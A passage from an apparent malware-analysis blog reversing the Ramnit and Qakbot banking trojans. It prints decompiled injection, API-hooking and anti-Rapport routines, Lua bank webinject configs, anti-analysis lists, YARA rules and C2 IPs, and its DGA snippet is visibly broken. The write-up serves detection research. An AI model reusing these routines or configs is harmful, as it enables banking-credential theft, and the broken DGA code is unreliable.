}
if ( v6 != 5 )
{
if ( v6 != 3 || dwProcessId != *(_DWORD *)(a2 + 24) )
return v3;
if ( mozilla_profile_writer() )
{
reg_query_main(
v10,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\firefox.exe",
(unsigned int)&pszPath);
func4(*(_DWORD *)(a2 + 8), v4 + 8);
// Create process with CREATE_SUSPENDED flag

if ( CreateProcessA(0, &pszPath, 0, 0, 0, 0x4000000u, 0, 0, &StartupInfo, &ProcessInformation) )
{
v11 = ProcessInformation.dwProcessId;
*(_DWORD *)(a2 + 8) = ProcessInformation.dwProcessId;
write_process_inj(v11, 0xF36BAC23, 0);
}
}
get_str_func(*(_DWORD *)(a2 + 8), (int)"LdrLoadDll", v10, 0xBB49);
get_str_func(*(_DWORD *)(a2 + 8), (int)"BaseThreadInitThunk", v12, 0xBB49);
goto LABEL_21;
}
if ( dwProcessId == *(_DWORD *)(a2 + 24) )
{
reg_query_main(v7, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", (unsigned int)&pszPath);
if ( !set_chrome_pref(v2)
|| (func4(*(_DWORD *)(a2 + 8), v4 + 8),
lstrcatA(&pszPath, " --disable-http2 --disable-quic --disk-cache-size=1"),
Sleep(1000u),
// Create process with CREATE_SUSPENDED flag

CreateProcessA(0, &pszPath, 0, 0, 0, 0x4000000u, 0, 0, &StartupInfo, &ProcessInformation))
&& (*(_DWORD *)(a2 + 8) = ProcessInformation.dwProcessId,
Sleep(1000u),
write_process_inj(*(_DWORD *)(a2 + 8), 0xF36BAC23, ProcessInformation.hProcess)) )
{
v3 = 1;
ZwMapViewOfSection_func(v9, *(_DWORD *)(a2 + 8));
goto LABEL_22;
}
}
return v3;
}

Ramnit sets up the following preferences that are meant to “relax” Mozilla browser security and write changes to .ini and user[.]js preferences files locally.

"pref(\"privacy.trackingprotection.pbmode.enabled\", false);"
"pref(\"browser.cache.disk.enable\", false);"
"pref(\"browser.cache.disk.smart_size.enabled\", false);"
"pref(\"browser.cache.disk.capacity\", 0);");
"pref(\"network.http.spdy.enabled.http2\", false);"

In addition, the malware attempts to “relax” Google Chrome 
via “–disable-http2 –disable-quic –disk-cache-size=1” setup.
B. Process Injection: Resource “BIN” x86 or x64
The process injection works as follows leveraging usual WriteProcessMemory API after obtaining access to the resource section and pulling the appropriate binary (either a 32-bit or 64-bit one) and injecting into the browser of choice.

The pseudo-coded C++ function is as follows searching the loaded resource for “0x5A4D” and “0x4550,” “MZ” and “NT” headers, respectively to load the actual binary:

////////////////////////////////////////////////////////////////////
//////////////////// Ramnit Simplified Process Injection ///////////
////////////////////////////////////////////////////////////////////
char __stdcall write_process_inj(DWORD dwProcessId, int a2, HANDLE hProcess)
{
v3 = hProcess;
v4 = 0;
flOldProtect = 0;
_mm_storel_pd((double *)lpBaseAddress, 0i64);
NumberOfBytesRead = 0;
v5 = 0x7D0;
if ( v3 || (v3 = OpenProcess(0x1FFFFFu, 0, dwProcessId)) != 0 )
{
if ( check_if_x64(0, v3) || !(dword_10064B98 & 1) )
{
GlobalFree_0(lpBaseAddress);
if ( !*(_QWORD *)lpBaseAddress )
goto LABEL_29;
ReadProcessMemory(v3, lpBaseAddress[0], &Buffer, 0x40u, &NumberOfBytesRead);
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( Buffer != 23117 )
goto LABEL_29;
v9 = (char *)lpBaseAddress[0] + v21;
ReadProcessMemory(v3, (char *)lpBaseAddress[0] + v21, &v18, 0xF8u, &NumberOfBytesRead);
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( v18 != 17744 )
goto LABEL_29;
if ( v19 == a2 )
goto LABEL_29;
dwProcessIdb = v9 + 8;
if ( !VirtualProtectEx(v3, v9 + 8, 4u, 4u, &flOldProtect) )
goto LABEL_29;
WriteProcessMemory(v3, dwProcessIdb, &a2, 4u, &NumberOfBytesRead);
VirtualProtectEx(v3, dwProcessIdb, 4u, flOldProtect, &NumberOfBytesRead);
}
else
{
GlobalFree_0(lpBaseAddress);
v6 = lpBaseAddress[0];
v7 = lpBaseAddress[1];
if ( !*(_QWORD *)lpBaseAddress )
{
do
{
if ( !v5 )
break;
Sleep(100u);
v11 = 0;
v5 -= 0x64;
GlobalFree_0(lpBaseAddress);
v6 = lpBaseAddress[0];
v7 = lpBaseAddress[1];
}
while ( !*(_QWORD *)lpBaseAddress );
if ( !__PAIR__((unsigned int)v6, (unsigned int)v7) )
goto LABEL_29;
}
if ( !ReadProcessMemory_0((HANDLE)v6, v7, (LPVOID)0x40, (DWORD)&NumberOfBytesRead, v11) )
goto LABEL_29;
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( Buffer != 0x5A4D ) // Check for "MZ" header "0x5A4D"
goto LABEL_29;
v8 = *(_QWORD *)lpBaseAddress + v21;
hProcess = (HANDLE)((unsigned __int64)(*(_QWORD *)lpBaseAddress + v21) >> 32);
if ( !ReadProcessMemory_0(
(char *)lpBaseAddress[0] + v21,
(LPCVOID)HIDWORD(v8),
(LPVOID)0x108,
(DWORD)&NumberOfBytesRead,
v12) )
goto LABEL_29;
if ( !NumberOfBytesRead )
goto LABEL_29;
if ( v13 != 0x4550 ) // Check NT header signature "0x4550"
goto LABEL_29;
if ( v14 == a2 )
goto LABEL_29;
dwProcessIda = (void *)(v8 + 8);
hProcess = (char *)hProcess + __CFADD__((_DWORD)v8, 8);
if ( !VirtualProtectEx_0((HANDLE)(v8 + 8), hProcess, 4u, (DWORD)&flOldProtect, v15)
|| !WriteProcessMemory_0(dwProcessIda, hProcess, (LPVOID)4, (DWORD)&NumberOfBytesRead, v16)
|| !VirtualProtectEx_0(dwProcessIda, hProcess, flOldProtect, (DWORD)&NumberOfBytesRead, v17) )
{
goto LABEL_29;
}
}
v4 = 1;
LABEL_29:
CloseHandle(v3);
}
return v4;
}

In addition to the usual ntdll.dll:LdrLoadDll and user32:TranslateMessage hooks, Ramnit hooks the various browser API (see Appendix), including Google Chrome, which was one of the non-exported API hooks from “chrome.dll” that was hooked differently by the malware developers. More specifically, Ramnit searches “.text” section of the Chrome dll. In memory, the malware checks for various SSL read and write functions.
The main banker hooking function is as follows:

///////////////////////////////////////////////////////////////////
/////////////// Ramnit Main Web Hooker Serve Function /////////////
///////////////////////////////////////////////////////////////////
HLOCAL Main_Browser_Hooker_func()
{
GetModule(InternetExplorer_function_array, "wininet.dll");
GetModule(Mozilla_Firefox_function_array, "nss3.dll");
Google_Chrome_Hook();
Internet_Explorer_Hook();
return FireFox_Hook();
}

III. x86/x64 Injected Bot
Finally, Ramnit injects an either 32-bit (x86) or 64-bit (x64) executable into the webbrowser process.
A. Ramnit Hooking Engine
Essentially, Ramnit hooking engine works to set up hooks for API calls of interest.Additionally, it has a routine to deal with non-exported API hooks for “chrome.dll.”

CreateHook_API(const CHAR DLL_name, int original_function_name,\
int myHook_function, int address_of_original_function)

By and large, Ramnit banker hooking engine works via overwriting the basic API with the redirect functions with the “0xe9” opcode for a jump with 32-bit relative offset with trampoline function and the write hook call with VirtualProtectEx API to make sure the function has 0x40 (PAGE_EXECUTE_READWRITE) property. Additionally, it attempts to conceal detection of this hooking technique via prepending NOP and/or RETN.

////////////////////////////////////////////////////////////////////
/////////////// Ramnit Hook Install Function ///////////////////////
///////////////////////////////////////////////////////////////////
signed int __thiscall Hook_Function_Ramnit(char *func_name, int myHook_function, int *function_address)
{
char *original_function;
char *current_func_id_thread;
int v5;
char jump_len;
signed int result;
SIZE_T v8;
void *trampoline_lpvoid;
int v10;
int v11;
unsigned __int8 jmp_32_bit_relative_offset_opcode;
int relative_offset;
DWORD flOldProtect;

original_function = func_name;
current_func_id_thread = func_name + 0x24;
iter_func(func_name + 0x24, 0x90, 0x23);
if ( function_address ) // Attempts to prepend "0x90" (nop) or "0xC3" (retn) to jump length to avoid basic hooking detect
jump_len = walker_byte_0(*(_BYTE **)(original_function + 1), (int)current_func_id_thread, v5);
else
jump_len = 5; // jump_length_trampoline -> 5
original_function[5] = jump_len;
if ( !jump_len )
goto LABEL_12; // Setting up the trampoline buffer
write_hook_iter((int)(original_function + 6), *(_BYTE **)(original_function + 1), (unsigned __int8)jump_len);
if ( function_address )
*function_address = (int)current_func_id_thread;
relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);
jmp_32_bit_relative_offset_opcode = 0xE9u; // "0xE9" -> opcode for a jump with a 32bit relative offset
if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) )// Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtectEx
{
v10 = *(_DWORD *)(original_function + 1);
v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
original_function[66] = 0xE9u;
*(_DWORD *)(original_function + 0x43) = v10 + v11;
write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5);// -> Manually write the hook
VirtualProtectEx( // Return to original protect state
(HANDLE)0xFFFFFFFF,
*(LPVOID *)(original_function + 1),
(unsigned __int8)original_function[5],
flOldProtect,
&flOldProtect);
result = 1;
}
else
{
LABEL_12:
result = 0;
}
return result;
}

When the Ramnit banker hooks the function, it enters the new hooked one and grabs various variables while passing control to the original one when the hooked function concludes.

B. Ramnit Anti-Rapport
The malware also implements functionality that is meant to walk the stack and suspend threads related to “RapportGP.dl” DLL. The malware leverages “DbgHelp.dll” library and relevant API calls such as StackWalk64, SymGetModuleBase64, and SymFunctionTableAccess64.

////////////////////////////////////////////////////////////////////
///////////// Ramnit Anti-Rapport SuspendThread Function ///////////
////////////////////////////////////////////////////////////////////
char anti_rapport()
{
qmemcpy(&storage_allocated, &loc_100FCD4C, 0x19u);
return_handle_to_rapport_gp = GetModuleHandleA("RapportGP.dll");
if ( return_handle_to_rapport_gp
&& ((ret_handle = GetModuleHandleA("DbgHelp.dll")) != 0
|| (ret_handle = LoadLibraryA("DbgHelp.dll")) != 0)
&& (StackWalk64 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))
GetProcAddress(ret_handle, "StackWalk64"),
SymGetModuleBase64 = GetProcAddress(ret_handle, "SymGetModuleBase64"),
SymFunctionTableAccess64 = GetProcAddress(ret_handle, "SymFunctionTableAccess64"),
StackWalk64) )
{
get_to_rapp = (int)return_handle_to_rapport_gp + *((_DWORD *)return_handle_to_rapport_gp + 0xF);
if ( *(_DWORD *)get_to_rapp == 0x4550 ) // PE = 0x4550 - Win32/NT signature.
{
v11 = 0;
if ( *(_WORD *)(get_to_rapp + 6) > 0u )
{
rapp_text = get_to_rapp + 0xF8;
while ( lstrcmpA((LPCSTR)rapp_text, ".text") )
{
rapp_text += 0x28;
if ( ++v11 >= *(_WORD *)(get_to_rapp + 6) )
goto LABEL_20;
}
....
do
{
thread_walker_suspender(Rapport_text_Ldr, rapport_text);
////////////////////////////////////////////////////////////////////
////////////// Ramnit Thread Suspender StackWalk Simplified ////////
////////////////////////////////////////////////////////////////////
openthread_handle = OpenThread(0x1FFFFFu, 0, te.th32ThreadID);
if ( openthread_handle )
{
mm_shuffle_epi32_func(&Context.Dr0, 0, 0x2C8);
Context.ContextFlags = 0x1003F;
if ( GetThreadContext(openthread_handle, &Context) )
{
mm_shuffle_epi32_func(&v16, 0, 256);
rapport_ldr_location_3 = rapport_ldr_location_2;
Context_Eip[0] = Context.Eip;
Context_Ebp = Context.Ebp;
Context_Eip[1] = 0;
v17 = 3;
v19 = 0;
v20 = 3;
context_Esp = Context.Esp;
v22 = 0;
v23 = 3;
do
{
if ( StackWalk64 )
{
SymGetModuleBase64_func = SymGetModuleBase64;
SymFunctionTableAccess64_func = SymFunctionTableAccess64;
getcurrentproc_handle = GetCurrentProcess();
if ( !StackWalk64(
0x14C,
getcurrentproc_handle,
openthread_handle,
Context_Eip,
&Context,
0,
SymFunctionTableAccess64_func,
SymGetModuleBase64_func,
0) )
break;
if ( !Context_Eip[1]
&& Context_Eip[0] >= rapport_ldr_location_3
&& *(_QWORD *)Context_Eip <= (unsigned __int64)len_location_rapport_1 )
{
SuspendThread(openthread_handle);
}
}

C. Ramnit LUA Webinject Structure
The malware utilizes interesting LUA-coded webinjects with different setups with the developer comments including “damn lua…  in 5.3 bit are depricated or im govnocoder (sic!) (“badcoder” from Russian. -VK). Some of the core logic and setup are provided below.
V. Yara Signatures

A. Ramnit Main DLL “rmnsoft.dll”
import "pe"

rule crime_win32_ramnit_rmnsoft_dll {
meta:
description = "Detects latest Ramnit rmnsoft.dll from sLoad"
author = "@VK_Intel"
date = "2018-08-03"
hash1 = "7f054300fa64e7bcdec7f5538876e6008d6164f21ff21c6375e36dfe04a63412"
strings:
$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Opera.exe" fullword ascii
$s2 = "%APPDATA%\\Apple Computer\\Safari\\Cookies\\Cookies.plist" fullword ascii
$s4 = "rmnsoft.dll" fullword ascii
$s5 = "%APPDATA%\\Mozilla\\Firefox\\" fullword ascii
$s6 = "%APPDATA%\\Opera\\" fullword ascii
$s7 = "HTTPMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
$s8 = "\"ntdll.dll" fullword ascii
$s11 = "multipart/*boundary={*}application/x-www-form-urlencodedtext/plainname=\"{*}\"{*}https://http://" fullword wide
$s12 = "websearch.com:80" fullword ascii
$s13 = "User-Agent:{*}" fullword wide
$s14 = "complete.dat" fullword ascii
$s15 = "info.com:80" fullword ascii
$s16 = "baidu.com:80" fullword ascii
$s17 = "\\profile\\cookies4.dat" fullword ascii
$s19 = "C:\\WINDOWS\\Application Data\\Mozilla\\Firefox\\" fullword ascii
$s20 = "\\cookies.txt" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 300KB and
pe.imphash() == "291ff87948e45914424cec9510c297da" and pe.exports("Start")
and pe.exports("Stop") and pe.exports("_CryptoCheckSignMessage@24") and
( 8 of them )
) or ( all of them )
}
B. Ramnit Webinject DLL “hooker2.dll” (With Resource x86 and x64 Bot) 

rule crime_win32_64_ramnit_hooker_dll_binary {
meta:
description = "Detects Ramnit latest hooker2.dll with embedded two (x86/x64) resources. The detection is across all 3 components"
author = "@VK_Intel"
date = "2018-08-05"
hash1 = "d817fcf2a2e4a6e6e5b8f130d97a476b7e77697587dc5490a7241e571edd171e"
hash2 = "51ce5faa14ce6e496ccc0c71ff051740452e347bea0d343445c1993f36b79931"
hash3 = "23a2a8777b343d2fb68536387dda9e122c80d4a77c955bd1985b7f9239c09f7c"
strings:
$s2 = "RapportGP.dll" fullword wide
$s5 = "aswhook.dll" fullword wide
$s6 = "No row to get a column from. executeStep() was not called, or returned false." fullword ascii
$s7 = "NtCreateEvent NtCreateMutant NtCreateSemaphore NtCreateUserProcess NtMapViewOfSection NtOpenEvent NtOpenMutant NtOpenSemaphore N" ascii
$s8 = "GetRemoteInject" fullword ascii
$s9 = "!\\?.dll;!\\..\\lib\\lua\\5.3\\?.dll;!\\loadall.dll;.\\?.dll" fullword ascii
$s10 = "sub-select returns %d columns - expected %d" fullword ascii
$s11 = "SELECT sql FROM \"%w\".sqlite_master WHERE type='table'AND name'sqlite_sequence' AND coalesce(rootpage,1)>0" fullword ascii
$s12 = "0 && \"Attempting to pause parser in error state\"" fullword wide
$s13 = "User-Agent-Session: " fullword wide
$s14 = "invalid character in content-length header" fullword ascii
$s15 = "too many arguments on %s() - max %d" fullword ascii
$s16 = "--- REAL HEADERS ---" fullword wide
$s17 = "tQueryInformationProcess NtResumeThread NtWriteVirtualMemory ZwCreateEvent ZwCreateMutant ZwCreateSemaphore ZwCreateUserProcess " ascii
$s18 = "unexpected content-length header" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 9000KB and ( 8 of them )
) or ( all of them )
}

VI. Appendix:
A. Ramnit Hooked API
Internet Explorer:

InternetReadFile
HttpSendRequestExA
HttpSendRequestExW
HttpSendRequestA
HttpSendRequestW
InternetOpenUrlA
InternetOpenUrlW
InternetCloseHandle
HttpOpenRequestA
HttpOpenRequestW
InternetWriteFile
InternetQueryDataAvailable
InternetReadFileExA
InternetReadFileExW

Mozilla Firefox:

PR_OpenTCPSocket
PR_Close
PR_Write
PR_Read
PR_GetError
PR_GetNameForIdentity

Google Chrome:

SSL_read
SSL_write
user32.dll:

TranslateMessage

ntdll.dll:

LdrLoadDll

B. LUA Webinject
1. Webinject Setup Syntax

bankLog = {
url = "%BANKURL%",
req_type = get_type + log_type,
modification_arrays = {
[1] = {
data_before = [[

]],
data_inject = [[]],
data_after = [[

We]]
}
}
};

2. Webinject POST

bankPOST = {
url = "%BANKURL%",
req_type = post_type, -- Post only
command = VAR,
vars = {
["tlda"] = "pnlSetupNewPayeePayaPerson%3AfrmPayaPersonArrangement%3AstrBen\
+"AccountNumber"
}
};

3.  Webinject Variables

get_type, post_type, log_type = 1, 2, 4;
local log_type_bit_order = 3;
-- damn lua...  in 5.3 bit are depricated or im govnocoder
allow_report, not_allow_report, screen_report = 1, 0, 2;
local content_types = { "javascript", "text", "application"};

4. WebFilters

local WebFilters = {
-- Put filters for reports here
--"~*unicredit[.]it*", -- Do not use screens on urls from here. Not tested currently
--"~*banking4you*",
"*recruiter*",
"*employer*",
"*job*",
"*facebook[.]com/login.php*",
"*login.live[.]com*",
"*twitter[.]com/login*",
"*accounts.google[.]com*",
"*mail[.]ru*",
"!http://*",
"!sessioncam[.]com*",
"!netflix[.]com*",
"!facebook[.]com*",
"!google[.]com*",
"!lampoilbro[.]eu",
"!youtube[.]com",
"!criteo[.]com",
"!doubleclick[.]net",
"!analytics[.]com",
"!urs.microsoft[.]com",
"!zynga[.]com"
};

5. ScreenshotsContainer

local ScreenshotsContainer = {
-- Put urls for screenshots here
"*mail[.]ru*",
"*Redacted_UK_Financial_Institutions_URL*",
};

C. Ramnit DGA pseudo-function Python function

# https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/
seed = '2538799770'
tld = ".eu"

def lcg(a1, a2):
return 16807 * (a1 % 127773) - 2836 * (a1 / 127773) % a2

def dga(seed, tld):
domain = ""
new_seed = rng(seed, 12)
seed_after_length = new_seed

for i in range(domain_length):
c, new_seed = rng(new_seed, 25)
domain += chr(c + ord('a'))

seed *= seed_after_length
seed = ((seed >> 32) + (seed & 0xffffffff)) & 0xffffffff
domain += tld

return domain, seed

Let’s Learn: In-Depth Reversing of Qakbot "qbot" Banker Part 1

GoalReverse engineer and analyze the Qakbot banker with the focus on its core functionality, new configuration, and decoded template.

https://platform.twitter.com/widgets.js Malware Sources:
Invoice-75301.doc(5f894602e88263e34dcdbb2eb2da3078)
Original Signed Packed Qakbot Banker

(805f48f1295e28cc82c180844e3165d6)

Background
While investigating one notable infection chain distribution (thanks to @pollo290987), linked to both Emotet Loader and Qakbot Banker, I decided to take a deeper dive into the QakBot binary and its related component with the focus on core functionality. Qakbot is one of the oldest but yet-still-active bankers on the financial malware landscape operating since 2009. Qbot is a credential-stealing financial malware known to target customers of financial institutions for account takeover fraud (ATO). The malware has worm capabilities to self-replicate through shared networks, drives, and removable media, and is notable for active directory bruteforcing as detailed by IBM X-Force.
Outline:

The following functions of interest will be analyzed:

I. Packed Digitally Signed Qakbot Loader 
II. Unpacked Core qbot
A. Decryption XOR Routine
III. "Explorer" Process Injection
IV. Qakbot Configuration
V. Anti-Analysis
VI. Persistency Mechanism
VII. Yara Signature
A. Qakbot Unpacked Core
B. Qakbot Communicator DLL
C. Qakbot Inject DLL
VIII. Indicators of Compromise
IX. Addendum: Full Decoded First-Layer Template

I. Packed Digitally Signed Qakbot Loader 
The malware initial packed loader is digitally signed with Thawte in order to bypass possible trust-based detection with the following company “A&W Global Ltd.”

CN = A&W Global Ltd
O = A&W Global Ltd
L = St. Helens
S = Merseyside
C = GB


The initial loader simply self-injects and unpacks the core malware in memory. The module can be retrieved vis scanning mapped memory region and dumping the unmapped executable, which would be the Qakbot core component. One of the notable details behind the banker execution is that the malware overwrites the launched executable with the Calculator utility in %WINDIR%\System32 via the CreateProcessA. More specifically, the qbot uses the calc.exe utility to invoke a ping command that will repeat six times in a loop:

|hWnd = NULL
|Operation = NULL
|FileName = "cmd.exe"
|Parameters = " /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "PATH_TO_QBOT"
|DefDir = NULL
\IsShown = 0

II.Unpacked Core Qakbot

The unpacked core qbot, coded in Microsoft Visual C++, was compiled on January 29, 2018 06:25:49  with 9 imported DLL libraries with the five usual sections (.text -> .rsrc) with no anomalies. The coding style of Qakbot reveals heavy reliance of the developer on Ansi equivalent Microsoft API calls, which likely speaks to the older code base since most of the recent malware relies more on Unicode API equivalents. The bot primarily coordinates injection functions and control via IPC (inter-process communication) with named pipes.
The Qakbot code reveals a lot of functionality including its Domain Generation Algorithm with domain TLD (“com;net;org;info;biz;org”), which version was well-documented by Johannes BaderThe qbot also communicates via FTP with available credentials. The qbot checks the machine speed by downloading a sample via “https://cdn%5B.%5Dspeedof%5B.%5Dme/sample4096k%5B.%5Dbin?r=0.%u.&#8221;
Notably, the malware also “relaxes” Windows Defender and disables in registry via “SubmitSamplesConsent” and alters “SpynetReporting.”
A. QakBot Decryption XOR Routine 
Once executed, however, Qakbot leverages XOR decryption function with & 0x3f coupled with Windows API call MultiByteToWideChar to convert byte to unicode strings while iterating through the encoded blob.

The pseudo-coded C++ template related to the main string deobfuscated is as follows:

if ( v14 )
{
WideCharStr = 0;
decrypt_iterate_func(&v13, 0, 62);
if ( v15 <= 12 )
{
v6 = 200;
do
{
MultiByteToWideChar(0, 0, (LPCSTR)*(v5 - 1), -1, &WideCharStr, 31);
--v6;
}
while ( v6 );
v4 = (const CHAR *)dword_41453C; // location of encoded data
}
}
v7 = &v4[v16]; // v16 = 0x2AA9u
v8 = byte_413168[v16 & 0x3F];
v9 = v8 == v4[v16];
*v7 ^= v8;
if ( v9 )
{
++v15;
*v5 = v7 + 1;
++v5;
}
++v16;

    }III. “Explorer” Process Injection


The execution sequence is as follows injecting code into “explorer.exe” in both x86 and x64 variants:
start -> main_function -> main_injection -> x86_create_remote_thread/x64_process_inject -> process_injection_main -> inject_writeprocessMemory 
IV. Qakbot Configuration
Qakbot configuration stored as .dat in %APPDATA% as numeric field values as follows:

The config is retrieved as follows via the following call chain: 
start -> main_function -> GetDrive_type_func -> net_server_lookup_function -> anti-analysis ->  trytoget_sid_user_as -> bot_config -> qbot_conf
Some of the notable Qakbot configurations details were noted by BAE Systems in 2016. It appears that the field “10” carries the unique name such as “mc15,” which is a possible designation of the qbot botnet.
Qbot Configuration
10=mc15 (possible botnet name)
11=2 (number of hardcoded C2)
47=bot id as uppercase alphanumeric
1=date of qbot install in HH:MM:ss-dd/mm/yyyy
2=victim qbot install
45=C2 IP
46=C2 port
13=C2 domain
39=victim external IP
38=last victim call to C2 (time in Unix)
6=C2 IP:port
43=time of record ((time in Unix)
15=unknown
5=victim network shares
44=victim share credentials
The bot id generation function is as follows leveraging “ProductID” value in Registry, coupled with the output of GetComputerNameA and GetVolumeInformationA as follows:

 v2 = lpString;
*(_DWORD *)v14 = 0;
nSize = 0;
decrypt_iterate_func(lpString, 0, 256);
v12 = 256;
v11 = RegOpenKeyExA(-2147483646, SOFTWARE_path, 0, 131097, &lpString);
if ( !v11 )
v11 = RegQueryValueExA(lpString, ProductId, 0, 0, v2, &v12);
RegCloseKey(lpString);
if ( v11 )
*(_WORD *)v2 = 48;
nSize = 256 - lstrlenA(v2);
v3 = lstrlenA(v2);
GetComputerNameA((LPSTR)&v2[v3], &nSize);
if ( !GetVolumeInformationA(&unk_411C48, &v9, 256, v14, 0, 0, &v10, 256) )
*(_DWORD *)v14 = 0;
v4 = v14[0];
v5 = 256 - lstrlenA(v2);
v6 = lstrlenA(v2);
wsprintf_filepath(&v2[v6], v5, (int)"%u", v4);
lstrcatA((LPSTR)v2, lpString2);
nSize = lstrlenA(v2);
CharUpperBuffA((LPSTR)v2, nSize);

Notably, the malware does not appear to store in the config file but rather uses the following config fields for FTP communication:

Qbot Additional Config
3=time of config (time in Unix)
22=ftp server1 with credential for C2 communications
23=ftp server2 with credential for C2 communications
24=ftp server3 with credential for C2 communications
25=ftp server4 with credential for C2 communications
26=ftp server5 with credential for C2 communications

The croncache is as follows:
12960;5;1532655973|15;8;1532722066|3;1;1532722258|4294967295;23;1532655912|300;13;1532722066|2736;3;1532701702|5;21;1532722066|720;1001;1532701702|4294967295;12;1532655912
V. Qbot Anti-Analysis

The malware check for various anti-virus processes while running the binary.
  • avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe
  • ccSvcHst.exe
  • MsMpEng.exe
  • mcshield.ex
  • avp.exe
  • egui.exe;ekrn.exe
  • bdagent.exe;vsserv.exe;vsservppl.exe
  • AvastSvc.exe
  • coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe.
  • SAVAdminService.exe;SavService.exe
  • fhoster32.exe
  • WRSA.exe
  • vkise.exe;isesrv.exe;cmdagent.exe
  • ByteFence.exe
  • MBAMService.exe
  • fmon.exe
Additionally, the malware checks for a plethora of anti-analysis and anti-virtual machines. One of the techniques is used to compare CPUID. This instruction is executed with EAX=1 as input, the return value describes the processors features. The 31st bit of ECX on a physical machine will be equal to 0. On a guest VM it will equal to 1.
anti_VM_cpuid((int)&String1);
_EAX = 1;
__asm { cpuid }
v16 = _ECX;
return _ECX == 1 && !lstrcmpiA(&String1, GenuineIntel);
}
DLL (GetModuleHandleA):
  • fshook32.dll (F-Secure)
  • SbieDll.dll (Sandboxie)
  • aswhookx.dll (Avasr)
  • sf2.dll (Avst)
  • dbghelp.dll
  • avcuf32.dll (BitDefender)
For example, 
BOOL check_as_dll()
{
return dword_415934 & 0x82 && (GetModuleHandleA(aswhooka_dll) || GetModuleHandleA(aswhooks_dll));
}
Anti-Virus:
  • Bitdefender
  • Microsoft Security Essentials
  • Norton
  • NOD32
  • Symantec
  • mcafee
  • kaspersky
  • Avast
  • Trend Micro
Filename check:
  • mlwr_smpl
  • antivirus
  • srootkit (AVG)
  • sample.exe
  • sample
Anti-Virtual Machine:
  • QEMU
  • VMware
  • vmdebug
  • vmx_svga
  • VirtIO
  • RedHat
  • vmacthlp.exe
  • vmtoolsd.exe
  • SVGA
  • VMaudio
  • vmrawdsk
  • SCSI
  • VBoxGuest
  • vm3dmp
  • vmxnet
Other:
  • windump.exe
  • artifact.exe
Mutex Check:
  • _AVIRA_71855
VI. Persistency Mechanism
Qakbot sets run persistence via task scheduler as well as curious JavaScript execution via “cscript.exe //E:javascript” with the qbot loader file ending .wpl

VII. Yara Signatures

rule crimeware_win32_qbot_unpacked_core {
meta:
description = "Detects unpacked Qakbot core"
author = "@VK_Intel"
date = "2018-07-29"
hash = "95ec8de64002fc5de7c04ceba04702da"
strings:
$s0 = "powershell.exe" fullword ascii
$s1 = "%s\\%d.exe" fullword ascii
$s2 = "%s\\system32\\" fullword ascii
$s3 = "000223" fullword ascii
$s5 = "000001" fullword ascii
$s6 = "000111" fullword ascii
$s7 = "000005" fullword ascii
$s8 = "Akernel32" fullword ascii
$s9 = "ipconfig netstat" fullword ascii
$s10 = "Win32_Process" fullword ascii
$s11 = "NtQuerySystemInformation" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 500KB and all of them
}

rule crimeware_win32_qbot_communicatorDll {
meta:
description = "Detects Qakbot Communicator DLL"
author = "@VK_Intel"
date = "2018-07-29"
hash = "7dad18c4d149849c727fe39eee184fe8"
strings:
$s0 = "powershell.exe" fullword ascii
$s1 = "User-Agent: Microsoft-Windows/%u.%u UPnP/1.0" fullword ascii
$s2 = "\\\\.\\pipe\\%ssp" fullword ascii
$s3 = "http://www.ip-adress.com" fullword ascii
$s4 = "%s\\%s.exe" fullword wide
$s5 = "POST %s HTTP/%s" fullword ascii
$s6 = "urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1" fullword ascii
$s7 = "HOST: %s:1900" fullword ascii
$s8 = "GetPortMappingNumberOfEntries" fullword ascii
$s9 = "GetSpecificPortMappingEntry" fullword ascii
$s10 = "%s\\tmp_%u.exe" fullword ascii
$s11 = "GetConnectionTypeInfo" fullword ascii
$s12 = "\\AppData\\LocalLow\\" fullword ascii
$s13 = "%s\\~%s.tmp" fullword ascii
$s14 = "%s\\system32\\" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 200KB and 10 of them
}

rule crimeware_win64_qbot_injectedDll {
meta:
description = "Detects Qakbot Inject DLL"
author = "@VK_Intel"
date = "2018-07-29"
hash = "03e78339b09aa5e9885c24b2e8af84f4"
strings:
$s0 = "chrome.dll" fullword ascii
$s1 = "\\\\.\\pipe\\%ssp" fullword ascii
$s2 = "content-security-policy-report-only" fullword ascii
$s3 = "\\AppData\\LocalLow\\" fullword ascii
$s4 = "content-security-policy" fullword ascii
$s5 = "cookie=[" fullword ascii
$s6 = "referer=[" fullword ascii
$s7 = "X-Frame-Options" fullword ascii
$s8 = "user.js" fullword wide

$op0 = { e8 99 b0 00 00 44 8b 5d c4 44 01 5b 18 41 80 3e }
$op1 = { e8 f1 ec ff ff 48 89 84 24 98 }
$op2 = { 48 8b 53 28 48 8b c8 e8 ca 6a 00 00 eb 03 41 8b }
condition:
uint16(0) == 0x5a4d and filesize < 421KB and all of ($s*) and 1 of ($op*)
}

VIII. Indicators of Compromise (IOCs)
A. The observed list of C2 servers

66.189.228[.]49;0;995
70.169.12[.]141;0;443
150.200.247[.]87;0;443
71.77.22[.]206;0;443
76.73.202[.]82;0;443
74.88.210[.]56;0;995
97.97.160[.]42;0;443
146.135.9[.]64;0;443
71.190.202[.]120;0;443
